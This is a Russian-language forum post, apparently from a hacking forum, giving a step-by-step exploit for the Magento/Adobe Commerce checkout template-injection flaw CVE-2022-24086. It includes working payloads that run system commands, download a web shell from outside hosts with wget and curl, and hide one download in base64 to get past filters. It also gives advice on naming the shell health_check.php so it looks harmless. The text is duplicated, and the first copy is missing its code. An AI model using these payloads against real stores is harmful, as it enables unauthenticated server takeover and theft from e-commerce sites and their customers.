devqp
Премиум
Описание уязвимости
Adobe Commerce (Magento) версий 2.4.3-p1 и ранее, а также 2.3.7-p2 и ранее уязвимы для выполнения произвольного кода (RCE) на этапе оформления заказа. Уязвимость (CVE-2022-24086) возникает из-за недостаточной валидации входных данных и позволяет неаутентифицированным злоумышленникам выполнять команды без взаимодействия с пользователем.
Условия эксплуатации
Атака работает только на сайтах, использующих стандартные шаблоны email. Кастомные шаблоны блокируют эксплуатацию.
Шаги эксплуатации
1. Создать аккаунт на целевом сайте
2. Добавить в корзину самый дешёвый товар
3. На этапе оформления заказа внедрить payload в поле "Имя" или "Фамилия".
Payload для проверки уязвимости
В поле "Имя" вставить:
При успехе в email-подтверждении отобразится путь к файлам.
Эксплуатационные payloads
1. Загрузка шелла через wget (замена health_check.php):
2. Аналогично через curl:
3. Обход фильтров через base64 (внести в разные поля):
• Имя:
• Фамилия:
Критические замечания
• PHP исполняется только в директории /pub
• Если pwd возвращает путь без /pub (пример: /chroot/home/a3e8f19d/shop.com), используйте абсолютные пути с добавлением /pub
• Избегайте нестандартных имён файлов (health_check.php оптимален)
• Уязвимость активно эксплуатируется в дикой природе вместе с CVE-2022-24087.
Adobe Commerce (Magento) версий 2.4.3-p1 и ранее, а также 2.3.7-p2 и ранее уязвимы для выполнения произвольного кода (RCE) на этапе оформления заказа. Уязвимость (CVE-2022-24086) возникает из-за недостаточной валидации входных данных и позволяет неаутентифицированным злоумышленникам выполнять команды без взаимодействия с пользователем.
Условия эксплуатации
Атака работает только на сайтах, использующих стандартные шаблоны email. Кастомные шаблоны блокируют эксплуатацию.
Шаги эксплуатации
1. Создать аккаунт на целевом сайте
2. Добавить в корзину самый дешёвый товар
3. На этапе оформления заказа внедрить payload в поле "Имя" или "Фамилия".
Payload для проверки уязвимости
В поле "Имя" вставить:
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(pwd)}}
Эксплуатационные payloads
1. Загрузка шелла через wget (замена health_check.php):
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(wget${IFS%??}-O${IFS%??}health_check.php${IFS%??}mydomain.com/shell.php)}}
2. Аналогично через curl:
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}myshell.com/shell.txt)}}
3. Обход фильтров через base64 (внести в разные поля):
• Имя:
Код:
{{if this.getTemplateFilter().filter(dummy)}}fname{{/if}}
Код:
{{if this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).Filter(d2dldCAtTyAvaG9tZS9jb2lsL3B1YmxpY19odG1sL3B1Yi9oZWFsdGhfY2hlY2sucGhwIGhhaGEuY29tL2hhaGEucGhw)}}m{{/if}}
Критические замечания
• PHP исполняется только в директории /pub
• Если pwd возвращает путь без /pub (пример: /chroot/home/a3e8f19d/shop.com), используйте абсолютные пути с добавлением /pub
• Избегайте нестандартных имён файлов (health_check.php оптимален)
• Уязвимость активно эксплуатируется в дикой природе вместе с CVE-2022-24087.